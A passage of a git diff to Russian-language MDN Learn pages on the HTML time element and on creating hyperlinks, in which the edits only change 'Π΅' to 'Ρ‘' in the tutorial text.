<p>Но эти Ρ€Π°Π·Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ распознаны ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°ΠΌΠΈ β€” Ρ‡Ρ‚ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ автоматичСски Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ Π΄Π°Ρ‚Ρ‹ всСх событий Π½Π° страницС ΠΈ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… Π² ΠΊΠ°Π»Π΅Π½Π΄Π°Ρ€ΡŒ? Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{htmlelement ("time")}} позволяСт ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ ΠΊ этой Ρ†Π΅Π»ΠΈ ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠ΅ ΠΌΠ°ΡˆΠΈΠ½ΠΎΡ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΠ΅ врСмя / Π΄Π°Ρ‚Ρƒ.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π° простая ΠΌΠ°ΡˆΠΈΠ½ΠΎΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅ΠΌΠ°Ρ Π΄Π°Ρ‚Π°, Π½ΠΎ Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ Π±Π°Π·ΠΎΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π° простая ΠΌΠ°ΡˆΠΈΠ½ΠΎΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Π΅ΠΌΠ°Ρ Π΄Π°Ρ‚Π°, Π½ΠΎ Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;!-- Бтандартная Π΄Π°Ρ‚Π° --&gt;
&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01-20<span class="pl-pds">"</span></span>&gt;20 Января 2020&lt;/<span class="pl-ent">time</span>&gt;
@@ -657,11 +657,11 @@ para.onclick = function() {
&lt;!-- Π”Π°Ρ‚Π° ΠΈ врСмя со смСщСниСм ΠΏΠΎ часовому поясу --&gt;
&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-01-20T19:30<span class="pl-pds">+01:00"</span></span>&gt;7.30pm, 20 Января 2020, β€” это 8.30pm Π²ΠΎ Π€Ρ€Π°Π½Ρ†ΠΈΠΈ.&lt;/<span class="pl-ent">time</span>&gt;
&lt;!-- Π’Ρ‹Π·ΠΎΠ² Π½ΠΎΠΌΠ΅Ρ€Π° Π½Π΅Π΄Π΅Π»ΠΈ --&gt;
-&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-W04<span class="pl-pds">"</span></span>&gt;ЧСтвСртая нСдСля 2020&lt;/<span class="pl-ent">time</span>&gt;</pre>
+&lt;<span class="pl-ent">time</span> <span class="pl-e">datetime</span>=<span class="pl-s"><span class="pl-pds">"</span>2020-W04<span class="pl-pds">"</span></span>&gt;ЧСтвёртая нСдСля 2020&lt;/<span class="pl-ent">time</span>&gt;</pre>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>На этом ΠΌΡ‹ подошли ΠΊ ΠΊΠΎΠ½Ρ†ΡƒΒ Π½Π°ΡˆΠ΅Π³ΠΎ изучСния сСмантики тСкста HTML. Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²ΠΎ врСмя этого курса, Π½Π΅ являСтся ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰ΠΈΠΌ списком тСкстовых элСмСнтов HTML. ΠœΡ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒΒ ΠΎΡ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ основныС ΠΈΠ· Π½ΠΈΡ…, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹, скорСС всСго, ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ Π² практичСской Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, сочтётС ΠΈΡ… интСрСсными.Β Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ большС элСмСнтов HTML, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° Π½Π°ΡˆΡƒ ссылку Π½Π° <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚</a>. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим элСмСнты HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для структурирования Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… частСй HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>На этом ΠΌΡ‹ подошли ΠΊ ΠΊΠΎΠ½Ρ†ΡƒΒ Π½Π°ΡˆΠ΅Π³ΠΎ изучСния сСмантики тСкста HTML. Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π²ΠΎ врСмя этого курса, Π½Π΅ являСтся ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰ΠΈΠΌ списком тСкстовых элСмСнтов HTML. ΠœΡ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π»ΠΈΡΡŒΒ ΠΎΡ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ основныС ΠΈΠ· Π½ΠΈΡ…, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹, скорСС всСго, ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ Π² практичСской Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, сочтётС ΠΈΡ… интСрСсными.Β Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ большС элСмСнтов HTML, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π·Π³Π»ΡΠ½ΡƒΡ‚ΡŒ Π½Π° Π½Π°ΡˆΡƒ ссылку Π½Π° <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚</a>. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим элСмСнты HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для структурирования Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… частСй HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<p>{{PreviousMenuNext ("Learn/HTML/Introduction_to_HTML/Create_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}</p>
@@ -672,7 +672,7 @@ para.onclick = function() {
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ? ΠœΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅ Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/HTML_text_fundamentals">ΠžΡΠ½ΠΎΠ²Ρ‹ рСдактирования тСкста Π² HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B3%D0%B8%D0%BF%D0%B5%D1%80%D1%81%D1%81%D1%8B%D0%BB%D0%BE%D0%BA">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ гипСрссылок</a></li>
- <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Advanced_text_formatting">Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0_%D0%B8_%D0%B2%D0%B5%D0%B1-%D1%81%D0%B0%D0%B9%D1%82%D0%B0">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈ Π²Π΅Π±-сайта</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a></li>
<li><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/Marking_up_a_letter">Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° письма</a></li>
diff --git a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html
index 6c1090bd2e..67f1ba48b7 100644
--- a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html
+++ b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html
@@ -74,7 +74,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<p>Π― создал ссылку Π½Π°Β <a class="ignore-external" href="https://www.mozilla.org/ru/" title="Π›ΡƒΡ‡ΡˆΠ΅Π΅ мСсто для поиска Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ миссии Mozilla ΠΈ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ внСсти свой Π²ΠΊΠ»Π°Π΄">домашнюю страницу Mozilla</a>.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ОписаниС ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° title отобраТаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора, Π·Π½Π°Ρ‡ΠΈΡ‚ люди, ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π½Ρ‹Π΅ элСмСнты управлСния для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ ΠΏΠΎ Π²Π΅Π±-страницам, Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ трудности с доступом ΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ содСрТит title. Если информация Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΆΠ½Π° для удобства использования страницы, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ доступСн для всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, помСстив Π΅Ρ‘ Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ОписаниС ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° title отобраТаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора, Π·Π½Π°Ρ‡ΠΈΡ‚ люди, ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π½Ρ‹Π΅ элСмСнты управлСния для Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ ΠΏΠΎ Π²Π΅Π±-страницам, Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ трудности с доступом ΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ содСрТит title. Если информация Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΆΠ½Π° для удобства использования страницы, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ доступСн для всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, помСстив Π΅Ρ‘ Π² ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст.</p>
</div>
<h3 id="АктивноС_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅_создаём_ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ_ссылку">АктивноС ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅: создаём ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ссылку</h3>
@@ -109,7 +109,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<p><img alt="A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively" src="https://mdn.mozillademos.org/files/12409/simple-directory.png" style="display: block; margin: 0 auto;"></p>
-<p><strong>ΠšΠΎΡ€Π΅Π½ΡŒ</strong> структуры β€” ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Β  <code>creating-hyperlinks</code>.Β ΠŸΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ Π½Π° локальном Π²Π΅Π±-сайтС у вас Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ вСсь сайт. Π’ ΠΊΠΎΡ€Π½Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° Ρ„Π°ΠΉΠ»Π° β€” <code>index.html</code>Β ΠΈΒ <code>contacts.html</code>. На настоящСм Π²Π΅Π±-сайтС <code>index.html</code>Β Π±Ρ‹Π» Π±Ρ‹ нашСй домашнСй, ΠΈΠ»ΠΈ Π»Π΅Π½Π΄ΠΈΠ½Π³-страницСй (Π²Π΅Π±-страницСй, которая слуТит Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π²Ρ…ΠΎΠ΄Π° для Π²Π΅Π±-сайта ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° Π²Π΅Π±-сайта).</p>
+<p><strong>ΠšΠΎΡ€Π΅Π½ΡŒ</strong> структуры β€” ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Β  <code>creating-hyperlinks</code>.Β ΠŸΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ Π½Π° локальном Π²Π΅Π±-сайтС у вас Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ вСсь сайт. Π’ ΠΊΠΎΡ€Π½Π΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° Ρ„Π°ΠΉΠ»Π° β€” <code>index.html</code>Β ΠΈΒ <code>contacts.html</code>. На настоящСм Π²Π΅Π±-сайтС <code>index.html</code>Β Π±Ρ‹Π» Π±Ρ‹ нашСй домашнСй, ΠΈΠ»ΠΈ Π»Π΅Π½Π΄ΠΈΠ½Π³-страницСй (Π²Π΅Π±-страницСй, которая слуТит Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ Π²Ρ…ΠΎΠ΄Π° для Π²Π΅Π±-сайта ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π° Π²Π΅Π±-сайта).</p>
<p>Π’ ΠΊΠΎΡ€Π½Π΅ Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘Β Π΄Π²Π° ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° β€” Β <code>pdfs</code> ΠΈ <code>projects</code>. Π£ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… Π΅ΡΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Ρ„Π°ΠΉΠ» Π²Π½ΡƒΡ‚Ρ€ΠΈΒ β€” <code>project-brief.pdf</code>Β ΠΈ <code>index.html</code>, соотвСтствСнно. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ довольно ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π²Π° <code>index.html</code> Ρ„Π°ΠΉΠ»Π° Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅,Β <span id="result_box" lang="ru"><span>ΠΏΠΎΠΊΠ° ΠΎΠ½ΠΈ находятся Π² Ρ€Π°Π·Π½Ρ‹Ρ… мСстах Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы.</span></span>Β  МногиС Π²Π΅Π±-сайты Ρ‚Π°ΠΊ Π΄Π΅Π»Π°ΡŽΡ‚. Π’Ρ‚ΠΎΡ€ΠΎΠΉΒ <code>index.html</code><span id="result_box" lang="ru"><span>, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ Π³Π»Π°Π²Π½ΠΎΠΉ Π»Π΅Π½Π΄ΠΈΠ½Π³-страницСй для связанной с ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</span></span></p>
@@ -145,7 +145,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<h3 id="Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°">Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</h3>
-<p>МоТно ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° HTML (ΠΈΠ·Π²Π΅ΡΡ‚Π½ΡƒΡŽ ΠΊΠ°ΠΊΒ <strong>Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</strong>), Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Для этого Π²Π°ΠΌ сначала Π½ΡƒΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("id")}} элСмСнту, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ²ΡΠ·Π°Ρ‚ΡŒΡΡ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, поэтому это выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
+<p>МоТно ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° HTML (ΠΈΠ·Π²Π΅ΡΡ‚Π½ΡƒΡŽ ΠΊΠ°ΠΊΒ <strong>Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</strong>), Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π²Π΅Ρ€Ρ…Π½ΡŽΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Для этого Π²Π°ΠΌ сначала Π½ΡƒΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("id")}} элСмСнту, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ²ΡΠ·Π°Ρ‚ΡŒΡΡ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, поэтому это выглядит ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<pre class="brush: html notranslate">&lt;h2 id="ΠŸΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹ΠΉ_адрСс"&gt;ΠŸΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹ΠΉ адрСс&lt;/h2&gt;</pre>
@@ -164,7 +164,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
